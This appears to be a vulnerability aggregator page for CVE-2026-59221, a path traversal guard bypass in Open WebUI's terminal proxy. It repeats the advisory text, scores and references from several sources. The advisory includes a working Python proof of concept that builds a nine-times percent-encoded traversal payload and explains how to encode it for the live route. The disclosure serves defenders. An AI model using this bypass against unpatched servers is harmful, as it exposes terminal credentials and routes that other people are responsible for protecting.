CVE-2026-59221
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59221- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-42650
7.7
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.
- Record
EUVD-2026-42650- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-frvj-c5qp-xj4w
7.7
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
AI assistance was used to help inspect the code and prepare this report.
Summary
The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.
Impact
A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.
This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.
Reproduction
The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.
import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout
def sanitize(path):
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
cleaned = posixpath.normpath(decoded).lstrip('/')
if cleaned.startswith('..') or cleaned == '.':
return None
return cleaned
def enc(s, rounds):
out = ''.join(f'%{b:02X}' for b in s.encode())
for _ in range(rounds - 1):
out = out.replace('%', '%25')
return out
async def main():
async def handler(request):
return web.json_response({'raw_path': request.raw_path, 'path': request.path})
app = web.Application()
app.router.add_route('*', '/{tail:.*}', handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 0)
await site.start()
port = site._server.sockets[0].getsockname()[1]
for rounds in (8, 9):
safe = sanitize(enc('../admin/system', rounds))
print(rounds, safe)
if safe:
url = f'http://127.0.0.1:{port}/base/{safe}'
async with ClientSession(timeout=ClientTimeout(total=10)) as session:
async with session.get(url) as response:
print(await response.json())
await runner.cleanup()
asyncio.run(main())
Observed output on current main and v0.9.6 sanitizer:
8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}
The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so _sanitize_proxy_path() receives the 9x encoded parameter shown above.
Root Cause / Technical Details
_sanitize_proxy_path() in backend/open_webui/routers/terminals.py performs this loop:
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
The subsequent traversal check is applied only to the value after those 8 iterations. If…
- Record
GHSA-frvj-c5qp-xj4w- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
NVD
7.7
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59221- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
OSV
7.7
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.
- Record
CVE-2026-59221- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
OSVGHSA-frvj-c5qp-xj4w
7.7
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
AI assistance was used to help inspect the code and prepare this report.
Summary
The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.
Impact
A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.
This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.
Reproduction
The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.
import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout
def sanitize(path):
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
cleaned = posixpath.normpath(decoded).lstrip('/')
if cleaned.startswith('..') or cleaned == '.':
return None
return cleaned
def enc(s, rounds):
out = ''.join(f'%{b:02X}' for b in s.encode())
for _ in range(rounds - 1):
out = out.replace('%', '%25')
return out
async def main():
async def handler(request):
return web.json_response({'raw_path': request.raw_path, 'path': request.path})
app = web.Application()
app.router.add_route('*', '/{tail:.*}', handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 0)
await site.start()
port = site._server.sockets[0].getsockname()[1]
for rounds in (8, 9):
safe = sanitize(enc('../admin/system', rounds))
print(rounds, safe)
if safe:
url = f'http://127.0.0.1:{port}/base/{safe}'
async with ClientSession(timeout=ClientTimeout(total=10)) as session:
async with session.get(url) as response:
print(await response.json())
await runner.cleanup()
asyncio.run(main())
Observed output on current main and v0.9.6 sanitizer:
8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}
The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so _sanitize_proxy_path() receives the 9x encoded parameter shown above.
Root Cause / Technical Details
_sanitize_proxy_path() in backend/open_webui/routers/terminals.py performs this loop:
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
The subsequent traversal check is applied only to the value after those 8 iterations. If…
- Record
GHSA-frvj-c5qp-xj4w- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-3597
7.7
open-webui terminal proxy path traversal guard bypass via 9x encoded traversal
AI assistance was used to help inspect the code and prepare this report.
Summary
The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.
Impact
A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.
This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.
Reproduction
The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.
import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout
def sanitize(path):
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
cleaned = posixpath.normpath(decoded).lstrip('/')
if cleaned.startswith('..') or cleaned == '.':
return None
return cleaned
def enc(s, rounds):
out = ''.join(f'%{b:02X}' for b in s.encode())
for _ in range(rounds - 1):
out = out.replace('%', '%25')
return out
async def main():
async def handler(request):
return web.json_response({'raw_path': request.raw_path, 'path': request.path})
app = web.Application()
app.router.add_route('*', '/{tail:.*}', handler)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 0)
await site.start()
port = site._server.sockets[0].getsockname()[1]
for rounds in (8, 9):
safe = sanitize(enc('../admin/system', rounds))
print(rounds, safe)
if safe:
url = f'http://127.0.0.1:{port}/base/{safe}'
async with ClientSession(timeout=ClientTimeout(total=10)) as session:
async with session.get(url) as response:
print(await response.json())
await runner.cleanup()
asyncio.run(main())
Observed output on current main and v0.9.6 sanitizer:
8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}
The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so _sanitize_proxy_path() receives the 9x encoded parameter shown above.
Root Cause / Technical Details
_sanitize_proxy_path() in backend/open_webui/routers/terminals.py performs this loop:
decoded = path
for _ in range(8):
once = unquote(decoded)
if once == decoded:
break
decoded = once
The subsequent traversal check is applied only to the value after those 8 iterations. If…
- Record
PYSEC-2026-3597- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
0.9.6 up to 0.10.0 | 0.10.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59221 is a high vulnerability (CVSS 7.7) in Open-webui, published July 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in open-webui 0.10.0.
References
github.com/open-webui/open-webui/security/advisories/GHSA-frvj-c5qp-xj4w
github.com/open-webui/open-webui/pull/26050
github.com/open-webui/open-webui/commit/05098d25a58d03738e01c4e85e8852c3b4ad849c
github.com/open-webui/open-webui/releases/tag/v0.10.0
nvd.nist.gov/vuln/detail/CVE-2026-59221
github.com/advisories/GHSA-frvj-c5qp-xj4w
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59221.json
github.com/open-webui/open-webui
pypi.org/project/open-webui
Left out here: the rest of 3 source descriptions. The JSON record has them.